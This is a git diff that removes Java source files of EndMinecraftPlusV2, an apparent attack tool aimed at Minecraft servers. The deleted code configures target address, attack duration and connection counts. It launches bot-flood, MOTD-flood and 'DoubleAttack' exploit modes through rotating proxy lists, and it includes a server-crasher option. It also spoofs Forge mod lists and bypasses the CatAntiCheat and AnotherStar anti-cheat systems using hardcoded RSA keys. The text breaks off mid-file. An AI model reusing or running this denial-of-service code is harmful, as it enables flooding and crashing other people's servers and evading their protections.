(ForgeSupport) { - ForgeModList = new HashMap<>(); - - for (String modInfo:config.getStringList("AdvancedSettings.ModList")) { - String modName = modInfo.split(":")[0]; - String modVersion = modInfo.split(":")[1]; - ForgeModList.put(modName, modVersion); - } - } - - CatAntiCheat = config.getBoolean("AdvancedSettings.CatAntiCheat.Enable"); - - if (CatAntiCheat) { - CACCustomScreenShot = new File(config.getString("AdvancedSettings.CatAntiCheat.CustomScreenShot")); - CACLoadedClass = config.getStringList("AdvancedSettings.CatAntiCheat.LoadedClass"); - CACLoadedMods = new File(config.getString("AdvancedSettings.CatAntiCheat.LoadedMods")); - - if (!CACCustomScreenShot.exists()) { - LogUtil.doLog(1, "CustomScreenShot不存在,CatAntiCheat相关功能已关闭。", null); - CatAntiCheat = false; - } - - if (CACLoadedClass.isEmpty()) { - LogUtil.doLog(1, "LoadedClass为空,CatAntiCheat相关功能已关闭。", null); - CatAntiCheat = false; - } - - if (Objects.requireNonNull(CACLoadedMods.listFiles()).length <= 5) { - LogUtil.doLog(1, "LoadedMods数量不足(<=5),CatAntiCheat相关功能已关闭。", null); - CatAntiCheat = false; - } - - if (!ForgeSupport) { - LogUtil.doLog(1, "ForgeSupport未开启,CatAntiCheat相关功能已关闭。", null); - CatAntiCheat = false; - } else { - ForgeModList.put("catanticheat", "1.2.6"); - } - } - - RandomMAC = config.getBoolean("AdvancedSettings.MACChecker.RandomMAC"); - ServerCrasher = config.getBoolean("AdvancedSettings.ServerCrasher.Enable"); - ServerCrasherMode = config.getInt("AdvancedSettings.ServerCrasher.Mode"); - ServerCrasherPacketDelay = config.getLong("AdvancedSettings.ServerCrasher.PacketDelay"); - - checkSRV(); - - LogUtil.doLog(0, "==============================================================", "CFGUtil"); - LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil"); - LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil"); - LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil"); - LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil"); - LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil"); - LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil"); - LogUtil.doLog(0, "Forge支持: " + booleanToStr(ForgeSupport), "CFGUtil"); - LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil"); - LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil"); - LogUtil.doLog(0, "CatAntiCheat绕过: " + booleanToStr(CatAntiCheat), "CFGUtil"); - LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil"); - LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil"); - LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil"); - LogUtil.doLog(0, "==============================================================", "CFGUtil"); - LogUtil.emptyLog(); - } catch (Exception e) { - LogUtil.emptyLog(); - LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null); - LogUtil.doLog(-1, "配置可能存在编码问题,是否尝试转换编码以解决问题? [y/n]:", "CFGUtil"); - Scanner scanner = new Scanner(System.in); - if (scanner.nextLine().contains("y")) { - String currentCharset = getFileCharset(configFile); - - File tempConfigFile = new File("config_temp.yml"); - - switch (currentCharset) { - case "GBK": - convertFileCharset(configFile, tempConfigFile, currentCharset, "UTF-8"); - break; - case "UTF-8": - default: - convertFileCharset(configFile, tempConfigFile, currentCharset, "GBK"); - break; - } - - if (configFile.delete()) { - tempConfigFile.renameTo(configFile); - } - - LogUtil.doLog(0, "任务完成。转换前编码: " + currentCharset + " | 转换后编码: " + getFileCharset(configFile) , "CFGUtil"); - } - - loadConfig(); - } - - if (!EndMinecraftPlusV2.CfgVer.equals(CfgVer)) { - LogUtil.doLog(1, "载入配置文件失败! 配置文件版本不匹配,请前往发布页更新配置文件。", null); - EndMinecraftPlusV2.Exit(); - } - } - - public static String getFileCharset(File file) { - String charset = "GBK"; - - byte[] first3Bytes = new byte[3]; - - try { - boolean checked = false; - BufferedInputStream bis = new BufferedInputStream(Files.newInputStream(file.toPath())); - bis.mark(100); - - int read = bis.read(first3Bytes, 0, 3); - - if (read == -1) { - bis.close(); - return charset; // 文件编码为 ANSI - } else if (first3Bytes[0] == (byte) 0xFF && first3Bytes[1] == (byte) 0xFE) { - charset = "UTF-16LE"; // 文件编码为 Unicode - checked = true; - } else if (first3Bytes[0] == (byte) 0xFE && first3Bytes[1] == (byte) 0xFF) { - charset = "UTF-16BE"; // 文件编码为 Unicode big endian - checked = true; - } else if (first3Bytes[0] == (byte) 0xEF && first3Bytes[1] == (byte) 0xBB - && first3Bytes[2] == (byte) 0xBF) { - charset = "UTF-8"; // 文件编码为 UTF-8 - checked = true; - } - - bis.reset(); - - if (!checked) { - while ((read = bis.read()) != -1) { - if (read >= 0xF0) - break; - if (0x80 <= read && read <= 0xBF) - break; - if (0xC0 <= read && read <= 0xDF) { - read = bis.read(); - if (!(0x80 <= read && read <= 0xBF)) { - break; - } - } else if (0xE0 <= read) { - read = bis.read(); - if (0x80 <= read && read <= 0xBF) { - read = bis.read(); - if (0x80 <= read && read <= 0xBF) { - charset = "UTF-8"; - } - } - break; - } - } - } - bis.close(); - } catch (Exception e) { - e.printStackTrace(); - } - - return charset; - } - - public static void convertFileCharset(File inputFile, File outputFile,String currentCharset ,String targetCharset) { - try { - InputStreamReader isr = new InputStreamReader(Files.newInputStream(inputFile.toPath()) ,currentCharset); - java.io.OutputStreamWriter osw = new OutputStreamWriter(Files.newOutputStream(outputFile.toPath()) ,targetCharset); - - int len; - while((len = isr.read())!=-1){ - osw.write(len); - } - - osw.close(); - isr.close(); - } catch (Exception e) { - LogUtil.doLog(1, "转换文件编码时发生错误! 详细信息: " + e, null); - EndMinecraftPlusV2.Exit(); - } - } - - public static String getAttackMethod(int type) { - switch (type) { - case 1: - return "BotAttack"; - case 2: - return "MotdAttack"; - case 3: - return "MotdAttackP"; - case 4: - return "DoubleAttack"; - default: - return "Error"; - } - } - - public static String getProxyFrom(int type) { - switch (type) { - case 1: - return "API"; - case 2: - return "File"; - case 3: - return "API + File"; - default: - return "Error"; - } - } - - public static String booleanToStr(boolean type) { - return type ? "开启" : "关闭"; - } - - public static Double timeToSeconds(long time) { - return (double) time / 1000; - } - - public static void checkSRV() { - Hashtable hashtable = new Hashtable<>(); - hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); - hashtable.put("java.naming.provider.url", "dns:"); - - try { - Attribute attribute = (new InitialDirContext(hashtable)) - .getAttributes("_Minecraft._tcp." + AttackAddress, - new String[]{"SRV"}) - .get("srv"); - if (attribute != null) { - String[] re = attribute.get().toString().split(" ", 4); - LogUtil.doLog(0, "=============================================================", "CheckSRV"); - LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV"); - LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV"); - LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV"); - LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV"); - Scanner scanner = new Scanner(System.in); - String cmd = scanner.nextLine(); - - if (cmd.equals("y")) { - AttackAddress = re[3]; - AttackPort = Integer.parseInt(re[2]); - } - } - } catch (Exception ignored) {} - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java deleted file mode 100644 index 14a3676..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java +++ /dev/null @@ -1,109 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import cc.summermc.bukkitYaml.file.YamlConfiguration; - -import java.io.File; -import java.io.IOException; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Scanner; - -public class DataUtil { - public static boolean notModify = false; - public static List botRegPasswords; - public static HashMap botRegPasswordsMap = new HashMap<>(); - - public static void loadData() { - File dataFile = new File("data.yml"); - - if (dataFile.exists()) { - YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile); - botRegPasswords = data.getStringList("Data"); - botRegPasswords.remove(""); - - String lastBotName = data.getString("LastBotName"); - Integer lastRandomFlag = data.getInt("LastRandomFlag"); - String lastRandomLength = data.getString("LastRandomLength"); - - boolean needReset; - - needReset = !ConfigUtil.BotName.equals(lastBotName) || !ConfigUtil.RandomFlag.equals(lastRandomFlag) || !(ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength).equals(lastRandomLength); - - if (lastBotName != null && needReset) { - LogUtil.doLog(-1, "检测到BotName已被修改,是否重置数据文件以使更改生效? [y/n]:", "DataUtil"); - Scanner scanner = new Scanner(System.in); - if (scanner.nextLine().contains("y")) { - if (dataFile.delete()) { - LogUtil.doLog(0, "数据文件已成功重置。", "DataUtil"); - } else { - LogUtil.doLog(0, "修改数据文件时出错,操作成功未完成。", "DataUtil"); - } - LogUtil.emptyLog(); - loadData(); - return; - } - - notModify = true; - LogUtil.emptyLog(); - } - } else { - botRegPasswords = new ArrayList<>(); - } - - if (botRegPasswords.size() < ConfigUtil.BotCount) { - int count = ConfigUtil.BotCount - botRegPasswords.size(); - - for (int i = 0; i < count; i++) { - String newBotName; - - switch (ConfigUtil.RandomFlag) { - case 2: - newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Ili(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength)); - break; - case 3: - newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_Abc(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength)); - break; - case 4: - newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString_123(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength)); - break; - case 1: - default: - newBotName = ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(ConfigUtil.RandomMinLength,ConfigUtil.RandomMaxLength)); - break; - } - - String newBotPwd = OtherUtils.getRandomString(8,10); - botRegPasswords.add(newBotName + "@" + newBotPwd); - } - } - - for (String PwdData:botRegPasswords) { - try { - String[] aPwdData = PwdData.split("@"); - botRegPasswordsMap.put(aPwdData[0], aPwdData[1]); - } catch (Exception ignored) {} - } - - updateData(botRegPasswords); - } - - public static void updateData(List dataList) { - File dataFile = new File("data.yml"); - YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile); - - data.set("Data", dataList); - - if (!notModify) { - data.set("LastBotName", ConfigUtil.BotName); - data.set("LastRandomFlag", ConfigUtil.RandomFlag); - data.set("LastRandomLength", ConfigUtil.RandomMinLength + "|" + ConfigUtil.RandomMaxLength); - } - - try { - data.save(dataFile); - } catch (IOException e) { - throw new RuntimeException(e); - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java deleted file mode 100644 index c298b51..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java +++ /dev/null @@ -1,38 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import java.io.BufferedReader; -import java.io.InputStreamReader; -import java.net.URL; -import java.net.URLConnection; - -public class HTTPUtil { - public static String sendGet(String url) { - StringBuilder result = new StringBuilder(); - BufferedReader in = null; - try { - URL realUrl = new URL(url); - URLConnection connection = realUrl.openConnection(); - connection.setRequestProperty("accept", "*/*"); - connection.setRequestProperty("connection", "Keep-Alive"); - connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); - connection.connect(); - - in = new BufferedReader(new InputStreamReader(connection.getInputStream())); - String line; - while ((line = in.readLine()) != null) { - result.append(line); - } - } catch (Exception e) { - LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null); - } finally { - try { - if (in != null) { - in.close(); - } - } catch (Exception e) { - LogUtil.doLog(1, "IO异常! 详细信息: " + e, null); - } - } - return result.toString(); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java deleted file mode 100644 index f36754b..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java +++ /dev/null @@ -1,34 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -public class LogUtil { - public static void doLog(int type, String content, String extra) { - String logType; - String msg; - - switch (type) { - case 1: - logType = "[Internal Error]"; - break; - case 2: - logType = "[Attack Error]"; - break; - case 3: - logType = "[DEBUG]"; - break; - default: - logType = "[" + extra + "]"; - } - - msg = logType + " " + content; - - if (type == -1) { - System.out.print(msg); - } else { - System.out.println(msg); - } - } - - public static void emptyLog() { - System.out.println(); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java deleted file mode 100644 index d51a09a..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java +++ /dev/null @@ -1,91 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import java.io.File; -import java.lang.reflect.Method; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.Random; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -public class OtherUtils { - public static void doSleep(long millis) { - try { - Thread.sleep(millis); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } - - public static Matcher matches(String str, String regex) { - Pattern mPattern = Pattern.compile(regex); - return mPattern.matcher(str); - } - - public static String getRandomString(int minLength, int maxLength) { - String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; - Random random = new Random(); - int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; - StringBuilder stringBuilder = new StringBuilder(); - for (int i = 0; i < length; ++i) { - int number = random.nextInt(62); - stringBuilder.append(str.charAt(number)); - } - return stringBuilder.toString(); - } - - public static String getRandomString_Ili(int minLength, int maxLength) { - String str = "Ili"; - Random random = new Random(); - int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < length; ++i) { - int number = random.nextInt(3); - sb.append(str.charAt(number)); - } - return sb.toString(); - } - - public static String getRandomString_Abc(int minLength, int maxLength) { - String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; - Random random = new Random(); - int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < length; ++i) { - int number = random.nextInt(52); - sb.append(str.charAt(number)); - } - return sb.toString(); - } - - public static String getRandomString_123(int minLength, int maxLength) { - String str = "1234567890"; - Random random = new Random(); - int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < length; ++i) { - int number = random.nextInt(10); - sb.append(str.charAt(number)); - } - return sb.toString(); - } - - public static Integer getRandomInt(int min, int max) { - return (int)(Math.random()*(max-min+1)+min); - } - - public static float getRandomFloat(double min, double max) { - return (float) (Math.random()*(max-min)+min); - } - - public static void loadLibrary(File file) { - try { - URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader(); - Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); - method.setAccessible(true); - method.invoke(cl, file.toURL()); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java deleted file mode 100644 index a596a9b..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java +++ /dev/null @@ -1,169 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import java.io.*; -import java.net.InetSocketAddress; -import java.net.Proxy; -import java.text.SimpleDateFormat; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; -import java.util.regex.Matcher; - -public class ProxyUtil { - public static Date runTime; - public static List proxies = new ArrayList<>(); - public static List workingProxiesList = new ArrayList<>(); - - public static void getProxies() { - String getMethod; - - switch (ConfigUtil.ProxyGetType) { - case 2: - getMethod = "通过本地文件获取"; - getProxiesFromFile(false, true); - break; - case 3: - getMethod = "通过API+本地文件获取"; - getProxiesFromFile(false, true); - getProxiesFromAPIs(false, false); - break; - case 1: - default: - getMethod = "通过API获取"; - getProxiesFromAPIs(false, true); - } - - LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil"); - LogUtil.emptyLog(); - } - - public static void getProxiesFromAPIs(boolean async, boolean replace) { - if (async) { - List newProxies = proxies; - - if (replace) { - newProxies = new ArrayList<>(); - } - - for (String url:ConfigUtil.ProxyAPIs) { - String ips = HTTPUtil.sendGet(url); - Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}"); - while (matcher.find()) { - String ip = matcher.group(); - - if (!newProxies.contains(ip)) { - newProxies.add(ip); - } - } - } - - proxies = newProxies; - } else { - for (String url:ConfigUtil.ProxyAPIs) { - if (replace) { - proxies = new ArrayList<>(); - } - - String ips = HTTPUtil.sendGet(url); - Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}"); - while (matcher.find()) { - String ip = matcher.group(); - if (!proxies.contains(ip)) { - proxies.add(ip); - } - } - } - } - } - - - public static void getProxiesFromFile(boolean async, boolean replace) { - try { - if (!ConfigUtil.ProxyFile.exists()) { - LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null); - return; - } - - BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile)); - String tempString; - - if (async) { - List newProxies = proxies; - - if (replace) { - newProxies = new ArrayList<>(); - } - - while ((tempString = reader.readLine()) != null) { - if (!newProxies.contains(tempString)) { - newProxies.add(tempString); - } - } - - proxies = newProxies; - } else { - if (replace) { - proxies = new ArrayList<>(); - } - - while ((tempString = reader.readLine()) != null) { - if (!proxies.contains(tempString)) { - proxies.add(tempString); - } - } - } - - reader.close(); - } catch (IOException e) { - LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null); - } - } - - public static void runUpdateProxiesTask(int time) { - new Thread(() -> { - while (true) { - OtherUtils.doSleep(time * 1000L); - - switch (ConfigUtil.ProxyGetType) { - case 1: - getProxiesFromAPIs(true, true); - LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); - break; - case 2: - getProxiesFromFile(true, true); - LogUtil.doLog(0, "代理更新完毕! (通过本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); - break; - case 3: - getProxiesFromFile(true, true); - getProxiesFromAPIs(true, false); - LogUtil.doLog(0, "代理更新完毕! (通过API+本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); - break; - } - } - }).start(); - } - - public static void saveWorkingProxy(Proxy proxy) { - if (runTime == null) { - runTime = new Date(); - } - - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd_hh-mm-ss"); - File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt"); - InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address(); - - List tempList = workingProxiesList; - - if (!tempList.contains(proxy)) { - try { - FileWriter fileWriter = new FileWriter(workingProxies, true); - String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/",""); - fileWriter.write(proxyAddress); - fileWriter.close(); - workingProxiesList.add(proxy); - } catch (IOException e) { - LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null); - } - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java deleted file mode 100644 index e16fc44..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java +++ /dev/null @@ -1,10 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import com.sun.jna.Library; -import com.sun.jna.Native; -import com.sun.jna.Platform; - -public interface SetTitle extends Library { - SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class); - boolean SetConsoleTitleA(String title); -} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java deleted file mode 100644 index c40cad7..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java +++ /dev/null @@ -1,108 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.*; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForgeMOTD; - -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.Random; - -public class AttackManager { - public static Boolean isDoubleAttack = false; - public static void doAttack() { - LogUtil.emptyLog(); - DataUtil.loadData(); - - switch (ConfigUtil.AttackMethod) { - case 1: - // BotAttack - Map modList = new HashMap<>(); - - if (ProtocolLibs.highVersion) { - LogUtil.doLog(0, "当前选定协议库版本不支持自动获取Forge Mods。", "BotAttack"); - - if (ProtocolLibs.adaptAfter754) { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); - botAttack.start(); - } else { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); - botAttack.start(); - } - } else { - if (!MCForge.isAfterVersion1_13() && ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack"); - modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion()); - LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack"); - } - - BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); - botAttack.start(); - } - - break; - case 2: - // MotdAttack - IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - motdAttack.start(); - break; - case 3: - // MotdAttackP - IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - motdAttackP.start(); - break; - case 4: - // DoubleAttack - Map doubleModList = new HashMap<>(); - isDoubleAttack = true; - - if (ProtocolLibs.highVersion) { - LogUtil.doLog(0, "当前选定协议库版本不支持自动获取Forge Mods。", "DoubleAttack"); - - if (ProtocolLibs.adaptAfter754) { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); - attack.setUsername(ConfigUtil.DoubleExploitPlayer); - attack.start(); - } else { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); - attack.setUsername(ConfigUtil.DoubleExploitPlayer); - attack.start(); - } - } else { - if (!MCForge.isAfterVersion1_13() && ConfigUtil.ForgeSupport) { - LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack"); - doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion()); - LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack"); - } - - DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); - attack.setUsername(ConfigUtil.DoubleExploitPlayer); - attack.start(); - } - - break; - default: - LogUtil.doLog(1, "攻击类型错误,停止运行。", null); - EndMinecraftPlusV2.Exit(); - } - } - - public static String getRandomUser() { - if (isDoubleAttack) { - return ConfigUtil.DoubleExploitPlayer + "@12345678Aa!"; - } - - return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size())); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java deleted file mode 100644 index 81ad370..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java +++ /dev/null @@ -1,101 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol; - -import io.netty.buffer.ByteBuf; -import io.netty.buffer.ByteBufInputStream; -import io.netty.buffer.ByteBufOutputStream; -import io.netty.buffer.Unpooled; -import com.github.steveice10.opennbt.NBTIO; -import com.github.steveice10.opennbt.tag.builtin.ByteArrayTag; -import com.github.steveice10.opennbt.tag.builtin.CompoundTag; -import com.github.steveice10.opennbt.tag.builtin.ListTag; - -import javax.crypto.Cipher; -import java.io.*; -import java.math.BigInteger; -import java.security.KeyFactory; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.security.spec.RSAPrivateKeySpec; -import java.security.spec.RSAPublicKeySpec; -import java.util.HashSet; - -public class AnotherStarAntiCheat { - private final RSAPublicKeySpec clientPublicKey; - private final RSAPrivateKeySpec clientPrivateKey; - private final RSAPrivateKeySpec serverPrivateKey; - private final Cipher clientPublicCipher; - private final Cipher clientPrivateCipher; - - { - clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537")); - clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633")); - serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153")); - - try { - (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey)); - (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private void 